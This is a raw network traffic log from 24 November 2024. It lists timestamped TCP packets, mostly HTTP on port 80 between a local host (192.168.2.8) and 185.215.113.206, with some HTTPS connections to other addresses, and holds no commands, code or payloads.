Nov 24, 2024 19:11:49.255146980 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.255196095 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.255229950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.255279064 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.256951094 CET	443	49780	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:49.257061005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.257108927 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.257162094 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.257215977 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.257615089 CET	49780	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:49.257623911 CET	443	49780	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:49.258073092 CET	443	49780	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:49.258595943 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.258644104 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.258702040 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.258749008 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.258910894 CET	49780	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:49.258985996 CET	443	49780	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:49.260343075 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.260402918 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.260432005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.260473967 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.262248039 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.262296915 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.262357950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.262399912 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.263869047 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.263921022 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.263926983 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.263962030 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.265604019 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.265657902 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.265701056 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.265748978 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.267348051 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.267412901 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.267443895 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.267493963 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.269037008 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.269093037 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.269128084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.269175053 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.270771980 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.270808935 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.270828009 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.270843029 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.272557020 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.272609949 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.272650957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.272692919 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.274462938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.274518013 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.274593115 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.274632931 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.275583029 CET	49781	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:49.276011944 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.276068926 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.276109934 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.276153088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.277771950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.277826071 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.277837992 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.277892113 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.279516935 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.279567957 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.279604912 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.279647112 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.281186104 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.281241894 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.385884047 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.385966063 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.385967970 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.386018038 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.386610031 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.386671066 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.386724949 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.386770010 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.388115883 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.388175011 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.388191938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.388240099 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.389725924 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.389782906 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.389811039 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.389854908 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.391282082 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.391346931 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.391416073 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.391464949 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.392680883 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.392759085 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.392792940 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.392841101 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.394110918 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.394167900 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.394188881 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.394233942 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.395617008 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.395628929 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.395673990 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.395704031 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.396931887 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.396987915 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.397049904 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.397095919 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.398330927 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.398386002 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.398489952 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.398541927 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.399682045 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.399728060 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.399795055 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.399840117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.401043892 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.401098013 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.401124954 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.401170015 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.402424097 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.402470112 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.402481079 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.402523994 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.403779984 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.403841019 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.403862953 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.403906107 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.405183077 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.405245066 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.405369997 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.405428886 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.406636953 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.406663895 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.406691074 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.406713009 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.407897949 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.407951117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.408014059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.408060074 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.409279108 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.409346104 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.409472942 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.409519911 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.410902977 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.410960913 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.411019087 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.411089897 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.411386967 CET	49795	443	192.168.2.8	23.44.133.31
Nov 24, 2024 19:11:49.411422014 CET	443	49795	23.44.133.31	192.168.2.8
Nov 24, 2024 19:11:49.411519051 CET	49795	443	192.168.2.8	23.44.133.31
Nov 24, 2024 19:11:49.411761045 CET	49795	443	192.168.2.8	23.44.133.31
Nov 24, 2024 19:11:49.411777973 CET	443	49795	23.44.133.31	192.168.2.8
Nov 24, 2024 19:11:49.411983013 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.412035942 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.412059069 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.412102938 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.413211107 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.413312912 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.413316965 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.413357019 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.414491892 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.414560080 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.414563894 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.414609909 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.415862083 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.415899038 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.415924072 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.415934086 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.417141914 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.417229891 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.417325020 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.417376995 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.418442011 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.418497086 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.418560982 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.418603897 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.419753075 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.419809103 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.419941902 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.420006037 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.421046972 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.421088934 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.421165943 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.421209097 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.422389030 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.422451973 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.422475100 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.422529936 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.423712969 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.423767090 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.423826933 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.423877001 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.425009966 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.425086975 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.425110102 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.425156116 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.426337957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.426384926 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.426409960 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.426456928 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.427632093 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.427676916 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.427701950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.427747011 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.428944111 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.428983927 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.429039955 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.429083109 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.430249929 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.430306911 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.430366993 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.430421114 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.431586027 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.431641102 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.431665897 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.431735039 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.432904005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.432943106 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.432965040 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.432993889 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.434195995 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.434209108 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.434245110 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.434289932 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.435487032 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.435539007 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.435585022 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.435633898 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.436872005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.436923027 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.436927080 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.436974049 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.438112020 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.438169003 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.438190937 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.438235044 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.439712048 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.439774990 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.439790010 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.439829111 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.440881014 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.440939903 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.441051960 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.441096067 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.442085981 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.442126036 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.442316055 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.442363024 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.443401098 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.443470001 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.443480015 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.443525076 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.444705009 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.444760084 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.444860935 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.444905996 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.445982933 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.446028948 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.446084023 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.446131945 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.447273016 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.447334051 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.447386026 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.447432041 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.448569059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.448627949 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.448641062 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.448693991 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.449918032 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.449975014 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.450001955 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.450043917 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.451208115 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.451258898 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.451287031 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.451324940 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.452230930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.452289104 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.452347040 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.453493118 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.453546047 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.453599930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.453644991 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.454771996 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.454838991 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.454865932 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.454912901 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.456022978 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.456130028 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.457653999 CET	49780	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:49.522717953 CET	49796	443	192.168.2.8	23.219.82.88
Nov 24, 2024 19:11:49.522759914 CET	443	49796	23.219.82.88	192.168.2.8
Nov 24, 2024 19:11:49.522838116 CET	49796	443	192.168.2.8	23.219.82.88
Nov 24, 2024 19:11:49.523736954 CET	49797	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:49.523777962 CET	443	49797	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:49.523874044 CET	49797	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:49.525762081 CET	49796	443	192.168.2.8	23.219.82.88
Nov 24, 2024 19:11:49.525779009 CET	443	49796	23.219.82.88	192.168.2.8
Nov 24, 2024 19:11:49.526026964 CET	49797	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:49.526042938 CET	443	49797	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:49.527249098 CET	49798	443	192.168.2.8	13.107.21.237
Nov 24, 2024 19:11:49.527261019 CET	443	49798	13.107.21.237	192.168.2.8
Nov 24, 2024 19:11:49.527319908 CET	49798	443	192.168.2.8	13.107.21.237
Nov 24, 2024 19:11:49.528006077 CET	49798	443	192.168.2.8	13.107.21.237
Nov 24, 2024 19:11:49.528016090 CET	443	49798	13.107.21.237	192.168.2.8
Nov 24, 2024 19:11:49.532450914 CET	49799	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:49.532485008 CET	443	49799	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:49.532542944 CET	49799	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:49.532762051 CET	49799	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:49.532774925 CET	443	49799	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:49.551491976 CET	49800	443	192.168.2.8	23.57.90.157
Nov 24, 2024 19:11:49.551520109 CET	443	49800	23.57.90.157	192.168.2.8
Nov 24, 2024 19:11:49.551589012 CET	49800	443	192.168.2.8	23.57.90.157
Nov 24, 2024 19:11:49.551784039 CET	49800	443	192.168.2.8	23.57.90.157
Nov 24, 2024 19:11:49.551795006 CET	443	49800	23.57.90.157	192.168.2.8
Nov 24, 2024 19:11:49.553030968 CET	49801	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:49.553057909 CET	443	49801	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:49.553132057 CET	49801	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:49.554184914 CET	49801	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:49.554195881 CET	443	49801	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:49.558056116 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:49.558065891 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:49.558125973 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:49.558836937 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:49.558847904 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:49.577756882 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.577810049 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.577819109 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.577852964 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.578133106 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.578181028 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.578200102 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.578243017 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.579421997 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.579473019 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.579529047 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.579581976 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.580425024 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.580482006 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.580511093 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.580554962 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.581763029 CET	80	49750	185.215.113.206	192.168.2.8
